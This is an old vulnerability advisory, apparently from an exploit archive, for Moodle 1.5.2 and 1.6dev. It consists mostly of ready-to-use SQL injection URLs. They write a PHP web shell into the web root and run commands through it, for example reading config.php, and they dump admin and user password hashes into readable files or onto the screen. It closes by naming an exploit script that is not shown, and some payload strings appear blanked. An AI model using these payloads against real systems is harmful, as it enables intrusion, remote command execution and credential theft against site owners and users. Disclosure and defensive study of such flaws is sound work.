5.02 10/11/2005 Moodle <=1.6dev blind SQL Injection / Remote commands/code execution / xss software: site: http://moodle.org/ description: "Moodle is a course management system (CMS) - a free, Open Source software package designed using sound pedagogical principles, to help educators create effective online learning communities.[..]" I) tested: vulnerable versions: Moodle 1.5.2 ( Latest release /released on 16th July 2005) " 1.5.2 ( Latest stable branch /built daily) not vulnerable: Moodle 1.6dev ( Latest Development /built daily) vulnerable code: "get_record()" function in datalib.php, if a var is not properly sanitized before to be passed as argument to it, if magic_quotes_gpc off, we have SQL injection,poc: [1] http://[target]/[path]/course/category.php?id='%20UNION%20SELECT%200,'',0,0,0,0,0,0%20INTO%20DUMPFILE%20'../../www/moodle/shell.php'%20FROM%20mdl_course_categories/* [2] http://[target]/[path]/course/info.php?id='UNION%20SELECT%200,0,0,0,'',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20INTO%20DUMPFILE%20'../../www/moodle/shell.php'%20FROM%20mdl_course/* now in shell.php we have something like: 00000000000 so you can launch commands, ex.: http://[target]/[path]/shell.php?cmd=cat%20config.php or you can have any admin/user MD5 password hash, poc: [3] http://[target]/[path]/course/category.php?id='%20UNION%20SELECT%20'',password,'','','','','',''%20INTO%20DUMPFILE%20'../../www/moodle/password.txt'%20FROM%20mdl_user%20WHERE%20username='admin'/* then go to: http://[target]/[path]/password.txt II) tested: vulnerable: Moodle 1.6dev ( Latest Development /built daily) if magic_quotes_gpc is off, you can see at screen any user/admin MD5 password hash, poc: http://[target]/[path]/iplookup/ipatlas/plot.php?address=127.0.0.1&user='or%20isnull(1/0)/* ...and inject a shell: http://[target]/[path]/iplookup/ipatlas/plot.php?address=127.0.0.1&user='UNION%20SELECT%200,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'%20',0,0,0,0,0,0,0,0%20INTO%20DUMPFILE%20'../../www/moodle/shell.php'%20FROM%20mdl_user/* this is the exploit code for [I.1], [I.2] and [III]:
Moodle <= 1.6dev remote commands xcution
a script by rgod at http://rgod.altervista.org